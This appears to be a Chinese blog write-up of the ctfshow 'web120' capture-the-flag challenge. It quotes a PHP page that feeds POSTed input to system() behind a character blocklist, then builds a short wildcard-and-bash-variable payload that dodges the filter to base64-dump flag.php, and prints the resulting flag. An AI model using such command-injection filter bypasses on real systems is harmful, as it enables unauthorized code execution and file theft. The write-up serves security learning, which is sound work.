web120笔记(白名单/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/ +strlen($code)<65)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

终于⽩名单了

这⾥就想办法⽤上⾯的payload来变形,⾸先就是能⽤?的就⽤?

设命令为/bin/base64 flag.php

这里主要是把4构造出来, 然后就需要构造 4 这个字符了,这里可以使用RANDOMRANDOM是一个变量值,随机出现整数,范围为:0~32767,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样

如果需要每次产生的随机数顺序不一样的话,可以在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子 回到构造 4 这个字符上,再Linux中,${#xxx}显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值,比如12345再加上#后就是5 在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数。最终得

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

PD9waHAKJGZsYWc9ImN0ZnNob3d7ZDNjZDAzMWEtYWI4OC00ZmI0LThiZWQtYTViY2Y3M2I1NGY1 fSI7Cj8+fSI7Cj8+

base64解码

<?php $flag="ctfshow{d3cd031a-ab88-4fb4-8bed-a5bcf73b54f5}"; ?>}"; ?>

 

posted @ 2025-03-17 16:27  justdoIT*  阅读(8)  评论(0)    收藏  举报